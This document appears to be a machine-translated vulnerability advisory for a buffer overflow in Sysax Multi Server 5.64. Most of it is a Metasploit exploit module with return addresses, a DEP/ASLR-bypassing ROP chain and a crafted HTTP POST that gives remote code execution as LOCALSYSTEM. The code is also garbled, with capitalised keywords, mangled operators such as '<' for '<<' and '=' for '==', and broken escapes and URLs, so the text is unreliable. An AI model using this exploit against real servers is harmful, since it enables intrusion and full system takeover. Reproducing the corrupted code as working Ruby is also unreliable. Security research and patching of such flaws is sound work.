Sysax Multi Server Function Buffer Overflow Vulnerability

Release date:
Updated on:

Affected Systems:
Sysax Sysax Multi Server 5.64
Description:
--------------------------------------------------------------------------------
Bugtraq id: 54713

Sysax Multi Server is an SSH2 and FTP Server on windows.

A buffer overflow vulnerability exists in Sysax Multi Server 5.64 and earlier versions. Attackers can exploit this vulnerability to execute arbitrary code with higher permissions.

<* Source: Matt Andreko
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Matt Andreko () provides the following test methods:

Require 'msf/core'
Require 'base64'

Class Metasploit3 <Msf: Exploit: Remote
Rank = NormalRanking

Include Msf: Exploit: Remote: HttpClient

Def initialize (info = {})
Super (update_info (info,
'Name' => 'sysax Multi Server 5.64 Create Folder bof ',
'Description' => % q {
This module exploits a stack buffer overflow in the create folder function
In Sysax Multi Server 5.64. This issue was fixed in 5.66.

You must have valid credentials to trigger the vulnerability. Your credentials
Must also have the create folder permission and the HTTP option has to be enabled.
This module will log into the server, get your a SID token and then proceed to exploit
The server. Successful exploits result in LOCALSYSTEM access. This exploit works on
XP SP3, and Server 2003 SP1-SP2.
},
'License '=> MSF_LICENSE,
'Author' =>
[
'Matt Andreko @ mandreko ', # discovery & Metasploit module for 5.64
'Craig Freyman @ cd1zz ', # original discovery & Metasploit module for 5.50
],
'Version' => '$ Revision: $ ',
'References '=>
[
['Url', 'HTTP: // www.mattandreko.com/2012/07/sysax-564-http-remote-buffer-overflow.html'], #5.64 update
['Url', 'HTTP: // www.pwnag3.com/2012/01/sysax-multi-server-550-exploit.html'], #5.50 post
],
'Defaultopexception' =>
{
'Deletec' => 'process ',
},
'Platform' => 'win ',
'Payload' =>
{
'Badchars' => "\ x00 \ x2F ",
},

'Targets' =>
[
['Windows XP SP3 ',
{
'Drop' => false,
'Ret '=> 0x77c35459, # push esp # Ret [sysaxd.exe]
'Offset' => 701,
}
],
['Windows 2003 SP1-SP2 DEP & ASLR bypass ',
{
'Drop '=> true,
'Ret '=> 0x77baf605, # bytes
'Offset' => 701,
'Nop' => 0x77bd7d82, # RETN (ROP Nop) [msvcrt. dll]
}
],
],
'Privileged' => false,
'Disclosuredate' => 'july 29,201 2 ',
'Defaulttarget' => 0 ))

Register_options (
[
OptString. new ('uri ', [false, "URI for Multi Server",'/']),
Opt: RPORT (80 ),
OptString. new ('sysaxuser', [true, "Username"]),
OptString. new ('sysaxpass', [true, "Password"])
], Self. class)

End

Def target_url
"Http: // # {rhost }:# {rport} # {datastore ['uri ']}"
End

Def create_rop_chain ()
Rop_gadgets = []
# All rop gadgets generated by mona. py
# Thanks corelanc0d3r for making such a great tool

If (target = targets [1]) # Windows 2003
Rop_gadgets =
[
0x77be3adb, # pop eax # RETN [msvcrt. dll]
0x77ba1114, # ptr to & VirtualProtect () [IAT msvcrt. dll]
0x77bbf244, # mov eax, dword ptr ds: [EAX] # pop ebp # RETN [msvcrt. dll]
0x41414141, # Filler (compensate)
0x77bb0c86, # xchg eax, ESI # RETN [msvcrt. dll]
0x77bdb896, # pop ebp # RETN [msvcrt. dll]
0x77be2265, # & push esp # ret [msvcrt. dll]
0x77bdeebf, # pop eax # RETN [msvcrt. dll]
0x2cfe0668, # put delta into eax (-> put 0x00000201 into ebx)
0x77bdfb80, # add eax, 75C13B66 # add eax, 5D40C033 # RETN [msvcrt. dll]
0x77bdfe37,# add ebx, EAX # or eax, 3000000 # RETN [msvcrt. dll]
0x77bdf0da, # pop eax # RETN [msvcrt. dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into edx)
0x77bdfb80, # add eax, 75C13B66 # add eax, 5D40C033 # RETN [msvcrt. dll]
0x77bb8285, # xchg eax, EDX # RETN [msvcrt. dll]
0x77bcc2ee, # pop ecx # RETN [msvcrt. dll]
0x77befbb4, # & Writable location [msvcrt. dll]
0x77bbf75e, # pop edi # RETN [msvcrt. dll]
0x77bd7d82, # RETN (rop nop) [msvcrt. dll]
0x77bdf0da, # pop eax # RETN [msvcrt. dll]
0x90909090, # nop
0x77be6591, # PUSHAD # add al, 0EF # RETN [msvcrt. dll]
]. Flatten. pack ("V *")
End

Return rop_gadgets

End

Def exploit

User = datastore ['sysaxuser']
Pass = datastore ['sysaxpass']

# Base64 encode the credentials
Encodedcreds = Base64.encode64 (user + "\ x0a" + pass)
Creds = "fd =" + encodedcreds

Connect

# Login to get SID value
Print_status "Getting SID from # {target_url }"
Res = send_request_raw ({
'Method' => 'post ',
'Url' => "# {target_url}/scgi? Sid = 0 & pid = dologin ",
'Data' => creds
}, 20)

# Parse response for SID token
Sid = res. body. match (/(sid = [A-Z0-9a-z] {40 })/)
Print_status "Your" + sid. to_s

Buffer = rand_text (target ['offset'])
Buffer <[target. ret]. pack ('V ')

If (target ['drop'])
Buffer <[target ['nop']. pack ('V') * 16
Buffer <create_rop_chain ()
End

Buffer <make_nops (15)
Buffer <payload. encoded # max1299 bytes

# Pwnag3 post data
Post_data = "scgi? "+ Sid. to_s +" &pid=mk_folder2_name1.htm HTTP/1.1 \ r \ n"
Post_data <"Content-Length: 171 \ r \ n"
Post_data <"----------------------------- 1190753071675116720811342231 \ r \ n"
Post_data <"Content-Disposition: form-data; name = \" e2 \ "\ r \ n"
Post_data <buffer + "\ r \ n"
Post_data <"----------------------------- 1190753071675116720811342231 -- \ r \ n"

Referer = "http: //" + datastore ['rhost']. to_s + "/scgi? "+ Sid. to_s +" &pid=mk_folder=name1.htm"

Send_request_raw ({
'Url' => "/" + post_data,
'Version' => '1. 1 ',
'Method' => 'post ',
'Referer' => referer
})

Handler
Disconnect

End
End

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Sysax
-----
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.sysax.com/